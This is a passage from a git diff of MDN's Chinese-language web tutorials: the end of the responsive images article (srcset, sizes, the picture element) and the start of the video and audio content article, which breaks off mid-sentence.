{{htmlelement("img")}},但网站页眉的图片仅是装饰性的,实际上应该要用CSS的背景图片来实现。<a href="http://blog.cloudfour.com/responsive-images-101-part-8-css-images/">CSS是比HTML更好的响应式设计的工具</a>,我们会在未来的CSS模块中讨论。</p> + +<h3 id="分辨率切换:不同的尺寸">分辨率切换:不同的尺寸</h3> + +<p>那么,我们想要用分辨率切换解决什么问题呢?我们想要显示相同的图片内容,仅仅依据设备来显示更大或更小的图片——这是我们在示例中使用第二个内容图像的情况。标准的{{htmlelement("img")}}元素传统上仅仅让你给浏览器指定唯一的资源文件。</p> + +<pre class="brush: html notranslate"><img src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"></pre> + +<p>我们可以使用两个新的属性——{{htmlattrxref("srcset", "img")}} 和 {{htmlattrxref("sizes", "img")}}——来提供更多额外的资源图像和提示,帮助浏览器选择正确的一个资源。你可以看到 <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> 的例子,也可以在GitHub上看到<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">source code</a>:</p> + +<pre class="brush: html notranslate"><img srcset="elva-fairy-320w.jpg 320w, + elva-fairy-480w.jpg 480w, + elva-fairy-800w.jpg 800w" + sizes="(max-width: 320px) 280px, + (max-width: 480px) 440px, + 800px" + src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"></pre> + +<p><code>srcset</code>和<code>sizes</code>属性看起来很复杂,但是如果你按照上图所示进行格式化,那么他们并不是很难理解,每一行有不同的属性值。每个值都包含逗号分隔的列表。列表的每一部分由三个子部分组成。让我们来看看现在的每一个内容:</p> + +<p><strong>srcset</strong>定义了我们允许浏览器选择的图像集,以及每个图像的大小。在每个逗号之前,我们写:</p> + +<ol> + <li>一个<strong>文件名 </strong>(<code>elva-fairy-480w.jpg</code>.)</li> + <li>一个空格</li> + <li><strong>图像的固有宽度</strong>(以像素为单位)(480w)——注意到这里使用<code>w</code>单位,而不是你预计的<code>px</code>。这是图像的真实大小,可以通过检查你电脑上的图片文件找到(例如,在Mac上,你可以在Finder上选择这个图像,然后按 <kbd>Cmd</kbd> + <kbd>I</kbd> 来显示信息)。</li> +</ol> + +<p><code><strong>sizes</strong></code>定义了一组媒体条件(例如屏幕宽度)并且指明当某些媒体条件为真时,什么样的图片尺寸是最佳选择—我们在之前已经讨论了一些提示。在这种情况下,在每个逗号之前,我们写:</p> + +<ol> + <li>一个<strong>媒体条件</strong>(<code>(max-width:480px)</code>)——你会在 <a href="/en-US/docs/Learn/CSS">CSS topic</a>中学到更多的。但是现在我们仅仅讨论的是媒体条件描述了屏幕可能处于的状态。在这里,我们说“当可视窗口的宽度是480像素或更少”。</li> + <li>一个空格</li> + <li>当媒体条件为真时,图像将填充的<strong>槽的宽度</strong>(<code>440px</code>)</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 对于槽的宽度,你也许会提供一个固定值 (<code>px</code>, <code>em</code>) 或者是一个相对于视口的长度(<code>vw</code>),但不是百分比。你也许已经注意到最后一个槽的宽度是没有媒体条件的,它是默认的,当没有任何一个媒体条件为真时,它就会生效。 当浏览器成功匹配第一个媒体条件的时候,剩下所有的东西都会被忽略,所以要注意媒体条件的顺序。</p> +</div> + +<p>所以,有了这些属性,浏览器会:</p> + +<ol> + <li>查看设备宽度</li> + <li>检查<code>sizes</code>列表中哪个媒体条件是第一个为真</li> + <li>查看给予该媒体查询的槽大小</li> + <li>加载<code>srcset</code>列表中引用的最接近所选的槽大小的图像</li> +</ol> + +<p>就是这样!所以在这里,如果支持浏览器以视窗宽度为480px来加载页面,那么<code>(max-width: 480px)</code>的媒体条件为真,因此<code>440px</code>的槽会被选择,所以<code>elva-fairy-480w.jpg</code>将加载,因为它的的固定宽度(<code>480w</code>)最接近于<code>440px</code>。800px的照片大小为128KB而480px版本仅有63KB大小—节省了65KB。现在想象一下,如果这是一个有很多图片的页面。使用这种技术会节省移动端用户的大量带宽。</p> + +<p>老旧的浏览器不支持这些特性,它会忽略这些特征。并继续正常加载 {{htmlattrxref("src", "img")}}属性引用的图像文件。</p> + +<div class="note"> +<p><strong>注意</strong>: 在 HTML 文件中的 {{htmlelement("head")}} 标签里, 你将会找到这一行代码 <code><meta name="viewport" content="width=device-width"></code>: 这行代码会强制地让手机浏览器采用它们真实可视窗口的宽度来加载网页(有些手机浏览器会提供不真实的可视窗口宽度, 然后加载比浏览器真实可视窗口的宽度大的宽度的网页,然后再缩小加载的页面,这样的做法对响应式图片或其他设计,没有任何帮助。我们会在未来的模块教给你更多关于这方面的知识)。</p> +</div> + +<h3 id="一些有用的开发工具">一些有用的开发工具</h3> + +<p>这里有一些在浏览器中的非常实用的<a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">开发者工具</a>用来帮助制定重要的槽宽度,以及其他你可能会用到的场景。当我在设置槽宽度的时候,我先加载了示例中的无响应的版本(<code>not-responsive.html</code>),然后进入 <a href="/en-US/docs/Tools/Responsive_Design_Mode">响应设计视图</a> (<em>Tools > Web Developer > Responsive Design View),</em>这个工具允许你在不同设备的屏幕宽度场景下查看网页的布局。</p> + +<p>我设置我的视图宽度为 320px,然后再改为 480px;每一次宽度的改变我就进入 <a href="/en-US/docs/Tools/Page_Inspector">DOM 检查 </a>,点击我们感兴趣的 {{htmlelement("img")}} 元素,然后在显示屏右侧的 Box Model 视图选项卡中查看它的大小。 你应该会看到,这种无响应式的做法会让你的图片在不同屏幕宽度下有着固定的宽度。</p> + +<p><img alt="A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels." src="https://mdn.mozillademos.org/files/12932/box-model-devtools.png" style="display: block; height: 845px; margin: 0px auto; width: 480px;"></p> + +<p>接着, 你可以检查 <code>srcset</code> 是否正常工作,你需要将视图的宽度设置为你想要的,(比如,把宽度设置的比较小,让页面看起来比较狭窄),打开网络检查(<em>Tools > Web Developer > Network),</em>然后重新加载页面。网络检查工具会给你一个列表,里面的文件都是已经被下载来构造网页的。然后你可以在这里看到哪个图像文件被下载了。</p> + +<div class="note"> +<p><strong>注意</strong>: 在 Chrome 中测试时,通过如下方式禁用缓存:打开 DevTools ,并选中 Settings > Preferences > Network下Disable cache的选择框。否则,Chrome 会优先选择缓存图片而不是恰好适配的那个。</p> +</div> + +<p><img alt="a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images" src="https://mdn.mozillademos.org/files/12934/network-devtools.png" style="display: block; height: 630px; margin: 0px auto; width: 600px;"></p> + +<h3 id="分辨率切换_相同的尺寸_不同的分辨率">分辨率切换: 相同的尺寸, 不同的分辨率</h3> + +<p>如果你支持多种分辨率显示,但希望每个人在屏幕上看到的图片的实际尺寸是相同的,你可以让浏览器通过<code>srcset</code>和x语法结合——一种更简单的语法——而不用<code>sizes</code>,来选择适当分辨率的图片。你可以看一个例子 <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a>(或 <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">the source code</a>):</p> + +<pre class="brush: html notranslate"><img srcset="elva-fairy-320w.jpg, + elva-fairy-480w.jpg 1.5x, + elva-fairy-640w.jpg 2x" + src="elva-fairy-640w.jpg" alt="Elva dressed as a fairy"> +</pre> + +<p><img alt="A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image" src="https://mdn.mozillademos.org/files/12942/resolution-example.png" style="display: block; height: 425px; margin: 0px auto; width: 480px;">在这个例子中,下面的CSS会应用在图片上,所以它的宽度在屏幕上是320像素(也称作CSS像素):</p> + +<pre class="brush: css notranslate">img { + width: 320px; +}</pre> + +<p>在这种情况下,<code>sizes</code>并不需要——浏览器只是计算出正在显示的显示器的分辨率,然后提供<code>srcset</code>引用的最适合的图像。因此,如果访问页面的设备具有标准/低分辨率显示,一个设备像素表示一个CSS像素,<code>elva-fairy-320w.jpg</code>会被加载(1x 是默认值,所以你不需要写出来)。如果设备有高分辨率,两个或更多的设备像素表示一个CSS像素,<code>elva-fairy-640w.jpg</code> 会被加载。640px的图像大小为93KB,320px的图像的大小仅仅有39KB。</p> + +<h3 id="美术设计">美术设计</h3> + +<p>回顾一下,<strong>美术设计问题</strong>涉及要更改显示的图像以适应不同的图像显示尺寸。例如,如果在桌面浏览器上的一个网站上显示一张大的、横向的照片,照片中央有个人,然后当在移动端浏览器上浏览这个网站时,照片会缩小,这时照片上的人会变得非常小,看起来会很糟糕。这种情况可能在移动端显示一个更小的肖像图会更好,这样人物的大小看起来更合适。{{htmlelement("picture")}}元素允许我们这样实现。</p> + +<p>回到我们最初的例子 <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a> ,我们有一张图片需要美术设计:</p> + +<pre class="brush: html notranslate"><img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"></pre> + +<p>让我们改用 {{htmlelement("picture")}}!就像<a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code><video></code>和<code><audio></code></a>,{{htmlelement("picture")}}素包含了一些{{htmlelement("source")}}元素,它使浏览器在不同资源间做出选择,紧跟着的是最重要的{{htmlelement("img")}}元素。<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> 的代码如下:</p> + +<pre class="brush: html notranslate"><picture> + <source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"> + <source media="(min-width: 800px)" srcset="elva-800w.jpg"> + <img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"> +</picture> +</pre> + +<ul> + <li> <code><source></code>元素包含一个<code>media</code>属性,这一属性包含一个媒体条件——就像第一个<code>srcset</code>例子,这些条件来决定哪张图片会显示——第一个条件返回真,那么就会显示这张图片。在这种情况下,如果视窗的宽度为799px或更少,第一个<code><source></code>元素的图片就会显示。如果视窗的宽度是800px或更大,就显示第二张图片。</li> + <li><code>srcset</code>属性包含要显示图片的路径。请注意,正如我们在<code><img></code>上面看到的那样,<code><source></code>可以使用引用多个图像的<code>srcset</code>属性,还有<code>sizes</code>属性。所以你可以通过一个 <code><picture></code>元素提供多个图片,不过也可以给每个图片提供多分辨率的图片。实际上,你可能不想经常做这样的事情。</li> + <li>在任何情况下,你都必须在 <code></picture></code>之前正确提供一个<code><img></code>元素以及它的<code>src</code>和<code>alt</code>属性,否则不会有图片显示。当媒体条件都不返回真的时候(你可以在这个例子中删除第二个<code><source></code> 元素),它会提供图片;如果浏览器不支持 <code><picture></code>元素时,它可以作为后备方案。</li> +</ul> + +<p>这样的代码允许我们在宽屏和窄屏上都能显示合适的图片,像下面展示的一样:</p> + +<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"><img alt="Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen" src="https://mdn.mozillademos.org/files/12938/picture-element-narrow.png" style="display: block; height: 710px; margin: 0px auto; width: 320px;"></p> + +<div class="note"> +<p><strong>注意</strong>: 你应该仅仅当在美术设计场景下使用media属性;当你使用media时,不要在sizes属性中也提供媒体条件。</p> +</div> + +<h3 id="为什么我们不能使用_CSS_或_JavaScript_来做到这一效果">为什么我们不能使用 CSS 或 JavaScript 来做到这一效果?</h3> + +<p>当浏览器开始加载一个页面, 它会在主解析器开始加载和解析页面的 CSS 和 JavaScript 之前先下载 (预加载) 任意的图片。这是一个非常有用的技巧,平均下来减少了页面加载时间的20%。但是, 这对响应式图片一点帮助都没有, 所以需要类似 <code>srcset</code>的实现方法。因为你不能先加载好 {{htmlelement("img")}} 元素后, 再用 JavaScript 检测可视窗口的宽度,如果觉得大小不合适,再动态地加载小的图片替换已经加载好的图片,这样的话, 原始的图像已经被加载了, 然后你又加载了小的图像, 这样的做法对于响应式图像的理念来说,是很糟糕的。</p> + +<ul> +</ul> + +<h3 id="大胆的使用现代图像格式">大胆的使用现代图像格式</h3> + +<p>有很多令人激动的新图像格式(例如WebP和JPEG-2000)可以在有高质量的同时有较低的文件大小。然而,浏览器对其的支持参差不齐。</p> + +<p><code><picture></code>让我们能继续满足老式浏览器的需要。你可以在<code>type</code>属性中提供MIME类型,这样浏览器就能立即拒绝其不支持的文件类型:</p> + +<pre class="brush: html notranslate"><picture> + <source type="image/svg+xml" srcset="pyramid.svg"> + <source type="image/webp" srcset="pyramid.webp"> + <img src="pyramid.png" alt="regular pyramid built from four equilateral triangles"> +</picture> +</pre> + +<ul> + <li>不要使用<code>media</code>属性,除非你也需要美术设计。</li> + <li>在<code><source></code> 元素中,你只可以引用在<code>type</code>中声明的文件类型。</li> + <li>像之前一样,如果必要,你可以在<code>srcset</code>和<code>sizes</code>中使用逗号分割的列表。</li> +</ul> + +<h2 id="主动学习:实现属于你的响应式图像">主动学习:实现属于你的响应式图像</h2> + +<p>在这次主动学习中,我们希望你变得勇敢和自力更生……尽量的。我们希望你通过使用<picture>来实现自己美术设计上的宽/窄屏显示适配,以及使用 <code>srcset</code>切换不同的分辨率。</p> + +<ol> + <li>写一些简单 HTML 来包含你的代码(如果你喜欢,也可以使用 <code>not-responsive.html</code> 作为起点)。</li> + <li>找一张漂亮的宽屏风景图像,其中需要包含一些细节。使用图像编辑器创建一个网页大小的版本。然后裁剪一下,显示一个更小的部分,其中包含放大的细节, 然后创建第二张图片 (差不多 480px 宽度比较好。)</li> + <li>使用 <code><picture></code> 元素来实现艺术图片切换器!</li> + <li>创建不同大小的多张图片, 每个图片的图像都是一样的。</li> + <li>使用 <code>srcset</code>/<code>size</code> 来创建一个分辨率切换器示例, 可以在不同的分辨率的情况下,提供相同尺寸的图像, 或者在不同的视图大小的情况下,提供不同尺寸大小的图像。</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 使用浏览器开发工具来帮助你工作时可以得到你需要的视图大小,就像上文提到的。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>这章节中充满了响应式图像 — 我们希望你学习新技术的过程是享受的。概括来说,有两个不同的问题,文章中我们一直在讨论:</p> + +<ul> + <li><strong>美术设计</strong>:当你想为不同布局提供不同剪裁的图片——比如在桌面布局上显示完整的、横向图片,而在手机布局上显示一张剪裁过的、突出重点的纵向图片,可以用 {{htmlelement("picture")}} 元素来实现。</li> + <li><strong>分辨率切换</strong>:当你想要为窄屏提供更小的图片时,因为小屏幕不需要像桌面端显示那么大的图片;以及你想为高/低分辨率屏幕提供不同分辨率的图片时,都可以通过 <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">vector graphics</a> (SVG images)、 {{htmlattrxref("srcset", "img")}} 以及 {{htmlattrxref("sizes", "img")}} 属性来实现。</li> +</ul> + +<p>此时整个<a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">多媒体与嵌入</a> 模块接近尾声!在继续下一个模块之前,你现在唯一要做的就是尝试我们的多媒体评估,看看你做得怎样。玩的开心。</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li><a href="http://blog.cloudfour.com/responsive-images-101-definitions">Jason Grigsby对响应式图片的出色介绍</a></li> + <li><a href="https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/">R响应式图片:如果你只是在改变分辨率,就用srcset</a> — 包含了更多关于浏览器如何选择显示图片的解释</li> + <li>{{htmlelement("img")}}</li> + <li>{{htmlelement("picture")}}</li> + <li>{{htmlelement("source")}}</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML 中的图片</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">视频和音频内容</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">从 <code><object></code> 到 <code><iframe></code>:其它嵌入技术</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">为网页添加向量图形</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla 宣传页面</a></li> +</ul> diff --git a/files/zh-cn/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/zh-cn/learn/html/multimedia_and_embedding/video_and_audio_content/index.html new file mode 100644 index 0000000000..8fa670c5a3 --- /dev/null +++ b/files/zh-cn/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -0,0 +1,341 @@ +--- +title: 视频和音频内容 +slug: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +tags: + - 多媒体 + - 字幕 + - 指南 + - 文章 + - 新手 + - 视频 + - 音频 +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">现在我们可以轻松的为一个网页添加简单的图像,下一步我们开始为 HTML 文档添加音频和视频播放器。在这篇文章中,我们会使用 {{htmlelement("video")}} 和 {{htmlelement("audio")}} 元素来做到这件事;然后我们还会看看如何为你的视频添加字幕。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基础计算机能力,<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基础的软件安装</a>,基础的<a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>知识,基础的 HTML 知识 (阅读 <a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a> ) 以及 <a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML 中的图片</a>。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>学习如何在一个网页中嵌入音频和视频,以及如何为视频添加字幕。</td> + </tr> + </tbody> +</table> + +<h2 id="web_中的音频和视频">web 中的音频和视频</h2> + +<p>web 开发者们一直以来想在 Web 中使用音频和视频,自21世纪初以来,我们的带宽开始能够支持任意类型的视频(视频文件比文本和图片要大的多)。在早些时候,传统的 web 技术(如 HTML )不能够在 Web 中嵌入音频和视频,所以一些像 <a href="https://en.wikipedia.org/wiki/Adobe_Flash">Flash</a> (后来有 <a href="https://en.wikipedia.org/wiki/Microsoft_Silverlight">Silverlight</a> ) 的专利技术在处理这些内容上变得很受欢迎。这些技术能够正常的工作,但是却有着一系列的问题,包括无法很好的支持 HTML/CSS 特性、安全问题,以及可行性问题。</p> + +<p>传统的解决方案能够解决许多这样的问题,前提是它能够正确的工作。幸运的是,几年之后 {{glossary("HTML5")}} 标准提出,其中有许多的新特性,包括 {{htmlelement("video")}} 和 {{htmlelement("audio")}} 标签,以及一些 {{Glossary("JavaScript")}} 和 {{Glossary("API","APIs")}} 用于对其进行控制。在这里,我们不讨论有关 JavaScript 的问题,仅仅讲解有关 HTML 的基础。</p> + +<p>我们不会教你如何制作音频和视频,因为那需要完全不同的技术。我们已经为你的试验提供了一些视频和音频的文件( <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files and example code</a> ),以防止你自己没有。</p> + +<div class="note"> +<p><strong>注意:</strong>在你开始之前,你应当了解一些 {{glossary("OVP","OVPs")}} (在线视频提供商) 例如 <a href="https://www.youtube.com/">YouTube</a> 、<a href="http://www.dailymotion.com">Dailymotion</a> 、<a href="https://vimeo.com/">Vimeo</a>、<a href="https://www.bilibili.com">Bilibili</a>等,以及在线音频提供商例如 <a href="https://soundcloud.com/">Soundcloud</a>。这些公司提供方便、简单的方式来支持视频,所以你不必担心庞大的带宽消耗。OVPS 甚至提供现成的代码用于为你的 web 网页嵌入视频/音频。如果你使用这样的服务,你便可以避免在这篇文章中我们将讨论的一些难题。在下一篇文章中,我们将会再讨论这样的服务。 </p> +</div> + +<h3 id="<video>_元素"><video> 元素</h3> + +<p>{{htmlelement("video")}} 允许你轻松地嵌入一段视频。一个简单的例子如下:</p> + +<pre class="brush: html notranslate"><video src="rabbit320.webm" controls> + <p>你的浏览器不支持 HTML5 视频。可点击<a href="rabbit320.mp4">此链接</a>观看</p> +</video></pre> + +<p>当中的一些属性如下:</p> + +<dl> + <dt>{{htmlattrxref("src","video")}}</dt> + <dd>同 {{htmlelement("img")}} 标签使用方式相同,<code>src</code> 属性指向你想要嵌入网页当中的视频资源,他们的使用方式完全相同。</dd> + <dt>{{htmlattrxref("controls","video")}}</dt> + <dd>用户必须能够控制视频和音频的回放功能。你可以使用 <code>controls</code> 来包含浏览器提供的控件界面,同时你也可以使用合适的 <a href="/en-US/docs/Web/API/HTMLMediaElement">JavaScript API</a> 创建自己的界面。界面中至少要包含开始、停止以及调整音量的功能。</dd> + <dt><code><video></code> 标签内的内容</dt> + <dd>这个叫做<strong>后备内容</strong> — 当浏览器不支持 <code><video></code> 标签的时候,就会显示这段内容,这使得我们能够对旧的浏览器提供回退内容。你可以添加任何后备内容,在这个例子中我们提供了一个指向这个视频文件的链接,从而使用户至少可以访问到这个文件,而不会局限于浏览器的支持。</dd> +</dl> + +<p>已嵌入视频文件的网页样式如下:</p> + +<p><img alt="A simple video player showing a video of a small white rabbit" src="https://mdn.mozillademos.org/files/12794/simple-video.png" style="display: block; height: 592px; margin: 0px auto; width: 589px;"></p> + +<p>你可以点击<a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">这里</a>查看网页,或者点击<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">这里</a>查看源代码。</p> + +<h3 id="使用多个播放源以提高兼容性">使用多个播放源以提高兼容性</h3> + +<p>以上的例子中有一个问题,你可能已经注意到了,如果你尝试使用像 Safari 或者 Internet Explorer 这些浏览器来访问上面的链接。视频并不会播放,这是因为不同的浏览器对视频格式的支持不同。幸运的是,你有办法防止这个问题发生。</p> + +<h4 id="媒体文件的内容">媒体文件的内容</h4> + +<p>我们先来快速的了解一下术语。像 MP3、MP4、WebM这些术语叫做<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/Containers">容器格式</a>。他们定义了构成媒体文件的音频轨道和视频轨道的储存结构,其中还包含描述这个媒体文件的元数据,以及用于编码的编码译码器等等。</p> + +<p>一个格式为 WebM 的电影包含视频轨道,音频轨道和文本轨道,其中视频轨道包含一个主视频轨道和一个可选的 Angle 轨道;音频轨道包含英语和西班牙语的音频轨道,还有一个英语评论的音频轨道;文字轨道包含英语和西班牙语的字幕轨道,如下图所示:</p> + +<p><img alt="Diagram conceptualizing the contents of a media file at the track level." src="https://mdn.mozillademos.org/files/16898/ContainersAndTracks.svg"></p> + +<p>为了编解码器(codec)编码媒体,容器中的音频和视频轨道以适合的格式保存。音频轨道和视频轨道使用不同的格式。每个音频轨道都使用<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/Audio_codecs">音频编解码器</a>进行编码,而视频轨道则使用(您可能已经猜到了)<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/Video_codecs">视频编解码器</a>进行编码。如前所述,不同的浏览器支持不同的视频和音频格式,以及不同的容器格式(如MP3、MP4和WebM,这些格式又可以包含不同类型的视频和音频)。</p> + +<p>例如:</p> + +<ul> + <li>WebM 容器通常包括了 Opus 或 Vorbis 音频和 VP8/VP9 视频。这在所有的现代浏览器中都支持,除了他们的老版本。</li> + <li>MP4 容器通常包括 AAC 以及 MP3 音频和 H.264 视频。这在所有的现代浏览器中都支持,还有 Internet Explorer。</li> + <li>老式的 Ogg 容器往往支持 Ogg Vorbis 音频和 Ogg Theora 视频。主要在 Firefox 和 Chrome 当中支持,不过这个容器已经被更强大的 WebM 容器所取代。</li> +</ul> + +<p>有一些特殊情况。例如,对于某些类型的音频,通常编解码器的数据存储没有容器或简化容器。其中一个例子就是FLAC编解码器,它通常存储在FLAC文件中,FLAC文件只是FLAC的原始轨迹。</p> + +<p>另一种情况是一直流行的MP3文件。“MP3文件”实际上是存储在MPEG或MPEG-2容器中的MPEG-1音频层III(MPEG-1 Audio Layer III ,MP3)音频轨道。这一点特别有趣,因为尽管大多数浏览器不支持在{{HTMLElement("video")}}和{{HTMLElement("audio")}}元素中使用MPEG媒体,但由于MP3的流行,它们可能仍然支持MP3。</p> + +<p>音频播放器将会直接播放音频文件,例如 MP3 和 Ogg 文件。这些不需要容器。</p> + +<h4 id="浏览器所支持的媒体文件">浏览器所支持的媒体文件</h4> + +<div class="callout-box"> +<p><strong>Note:</strong> 你也许会疑惑为什么会有这样的情况存在。<strong>MP3 </strong> (音频格式) 和 <strong>MP4/H.264</strong> (视频格式) 是被广泛支持的两种格式,并且质量良好。然而,他们却有专利的阻碍 — MP3 的专利会持续到2017年(就在我翻译这篇文章的当天,MP3专利解除了),而 H.264 会持续到2027年早期。意思也就是说浏览器若想要支持这些格式,就得支付高额的费用。此外,许多人反对软件技术垄断,支持开放的格式。这就是为什么我们需要准备不同的格式来兼容不同的浏览器。</p> +</div> + +<p>刚刚所说的格式主要用于将音频和视频压缩成可管理的文件(原始的音频和视频文件非常大)。浏览器包含了不同的 <strong>{{Glossary("Codec","Codecs")}}</strong>,,如 Vorbis 和 H.264,它们用来将已压缩的音频和视频转化成二进制数字。不同的编码器和不同的容器都有各自的优缺点,在你更了解它们后,你可以自己选择使用哪个编码器和容器。</p> + +<p>浏览器并不全支持相同的 codecs,所以你得使用几个不同格式的文件来兼容不同的浏览器。如果你使用的格式都得不到浏览器的支持,那么媒体文件将不会播放。</p> + +<p>要使你的媒体文件在不同平台,不同设备的浏览器上都可观看,这需要多种编码器组合使用,但是这是一种非常麻烦的事,所以可以参考{{SectionOnPage("/en-US/docs/Web/Media/Formats/Containers", "Choosing the right container")}}来选择最适合的容器格式,同样的,参考{{SectionOnPage("/en-US/docs/Web/Media/Formats/Video_codecs", "Choosing a video codec")}}和{{SectionOnPage("/en-US/docs/Web/Media/Formats/Audio_codecs", "Choosing an audio codec")}}选择编码格式</p> + +<p>需要记住的另一件事:同一款浏览器,移动版可能比桌面版权多支持的格式可能会有不同。最重要的是,它们都可以减轻媒体播放的处理负担(对于所有媒体或仅针对其内部无法处理的特定类型)。这意味着设备的媒体支持还部分取决于用户安装了什么软件。</p> + +<p><!-- 注:这并没有那么简单,你可以从这里看到 <a href="/zh-CN/docs/Web/HTML/Supported_media_formats#浏览器兼容情况">音视频编码兼容表</a>。此外,许多移动平台的浏览器能够播放一些不支持的格式,但是它们用的却是底层系统的媒体播放器。但这也仅是现在支持。--></p> + +<p>我们该怎么做呢?请看如下例子(你可以点击这里<a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">查看</a>网页,或者点击这里<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">查看</a>源代码):</p> + +<pre class="brush: html notranslate"><video controls> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>你的浏览器不支持 HTML5 视频。可点击<a href="rabbit320.mp4">此链接</a>观看</p> +</video></pre> + +<p>现在我们将 <code>src</code> 属性从 <code><video></code> 标签中移除,转而将它放在几个单独的标签 {{htmlelement("source")}} 当中。在这个例子当中,浏览器将会检查 <code><source></code> 标签,并且播放第一个与其自身 codec 相匹配的媒体。你的视频应当包括 WebM 和 MP4 两种格式,这两种在目前已经足够支持大多数平台和浏览器。</p> + +<p>每个 <code><source></code> 标签页含有一个 <code>type</code> 属性,这个属性是可选的,但是建议你添加上这个属性 — 它包含了视频文件的 {{glossary("MIME type","MIME types")}} ,同时浏览器也会通过检查这个属性来迅速的跳过那些不支持的格式。如果你没有添加 <code>type</code> 属性,浏览器会尝试加载每一个文件,直到找到一个能正确播放的格式,这样会消耗掉大量的时间和资源。</p> + +<div class="note"> +<p><strong>Note</strong>: 你可以在这里(<a href="/zh-CN/docs/Web/HTML/Supported_media_formats">HTML 媒体格式支持</a>)查看有关 {{glossary("MIME type","MIME types")}} 的支持。</p> +</div> + +<h3 id="其他_<video>_特性">其他 <video> 特性</h3> + +<p>这里有许多你可以用在 HTML5 <code><video></code> 上的特性,请看我们的第三个例子:</p> + +<pre class="brush: html notranslate"><video controls width="400" height="400" + autoplay loop muted + poster="poster.png"> + <source src="rabbit320.mp4" type="video/mp4"> + <source src="rabbit320.webm" type="video/webm"> + <p>你的浏览器不支持 HTML5 视频。可点击<a href="rabbit320.mp4">此链接</a>观看</p> +</video> +</pre> + +<p>这串代码将会给我们呈现出如下页面:</p> + +<p><img alt="A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!" src="https://mdn.mozillademos.org/files/12796/extra-video-features.png" style="display: block; height: 731px; margin: 0px auto; width: 653px;">新的特性:</p> + +<dl> + <dt>{{htmlattrxref("width","video")}} 和 {{htmlattrxref("height","video")}}</dt> + <dd>你可以用属性控制视频的尺寸,也可以用 {{Glossary("CSS")}} 来控制视频尺寸。 无论使用哪种方式,视频都会保持它原始的长宽比 — 